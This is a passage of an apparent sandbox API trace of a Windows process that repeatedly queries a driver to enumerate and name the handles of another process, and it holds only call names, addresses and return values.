PsAcquireProcessExitSynchronization () returned 0x0 [0112.797] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.797] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0112.797] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.797] PsReleaseProcessExitSynchronization () returned 0x2 [0112.797] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.797] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.797] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0112.797] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.797] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.797] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.797] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.797] PsAcquireProcessExitSynchronization () returned 0x0 [0112.797] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.797] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0112.797] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.797] PsReleaseProcessExitSynchronization () returned 0x2 [0112.797] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.797] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.797] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0112.797] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.797] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.797] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.797] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.797] PsAcquireProcessExitSynchronization () returned 0x0 [0112.798] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.798] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0112.798] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.798] PsReleaseProcessExitSynchronization () returned 0x2 [0112.798] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.798] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.798] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0112.798] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.798] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.798] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.798] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.798] PsAcquireProcessExitSynchronization () returned 0x0 [0112.798] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.798] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0112.798] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.798] PsReleaseProcessExitSynchronization () returned 0x2 [0112.798] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.798] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.798] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0112.798] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.798] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.798] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.798] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.798] PsAcquireProcessExitSynchronization () returned 0x0 [0112.798] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.798] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0112.798] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.798] PsReleaseProcessExitSynchronization () returned 0x2 [0112.798] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.798] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.798] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0112.798] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.799] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.799] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.799] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.799] PsAcquireProcessExitSynchronization () returned 0x0 [0112.799] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.799] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0112.799] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.799] PsReleaseProcessExitSynchronization () returned 0x2 [0112.799] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.799] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.799] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0112.799] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.799] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.799] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.799] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.799] PsAcquireProcessExitSynchronization () returned 0x0 [0112.799] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.799] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0112.799] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.799] PsReleaseProcessExitSynchronization () returned 0x2 [0112.799] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.799] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.799] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0112.799] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.799] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.799] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.799] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.799] PsAcquireProcessExitSynchronization () returned 0x0 [0112.799] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.800] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0112.800] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.800] PsReleaseProcessExitSynchronization () returned 0x2 [0112.800] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.800] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.800] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0112.800] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.800] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.800] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.800] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.800] PsAcquireProcessExitSynchronization () returned 0x0 [0112.800] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.800] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0112.800] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.800] PsReleaseProcessExitSynchronization () returned 0x2 [0112.800] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.800] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.800] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0112.800] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.800] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.800] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.800] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.800] PsAcquireProcessExitSynchronization () returned 0x0 [0112.800] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.800] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0112.800] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.800] PsReleaseProcessExitSynchronization () returned 0x2 [0112.800] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.800] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.800] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0112.800] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.801] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.801] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.801] PsAcquireProcessExitSynchronization () returned 0x0 [0112.801] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.801] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0112.801] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.801] PsReleaseProcessExitSynchronization () returned 0x2 [0112.801] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.801] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.801] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0112.801] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.801] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.801] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.801] PsAcquireProcessExitSynchronization () returned 0x0 [0112.801] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.801] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0112.801] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.801] PsReleaseProcessExitSynchronization () returned 0x2 [0112.801] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.801] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.801] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0112.801] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.801] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.801] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.801] PsAcquireProcessExitSynchronization () returned 0x0 [0112.801] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.801] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0112.801] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.802] PsReleaseProcessExitSynchronization () returned 0x2 [0112.802] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.802] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.802] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0112.802] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.802] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.802] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.802] PsAcquireProcessExitSynchronization () returned 0x0 [0112.802] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.802] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0112.802] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.802] PsReleaseProcessExitSynchronization () returned 0x2 [0112.802] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.802] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.802] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0112.802] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.802] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.802] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.802] PsAcquireProcessExitSynchronization () returned 0x0 [0112.802] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.802] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0112.802] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.802] PsReleaseProcessExitSynchronization () returned 0x2 [0112.802] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.802] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.802] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0112.803] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.803] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.803] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.803] PsAcquireProcessExitSynchronization () returned 0x0 [0112.803] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.803] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0112.803] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.803] PsReleaseProcessExitSynchronization () returned 0x2 [0112.803] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.803] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, 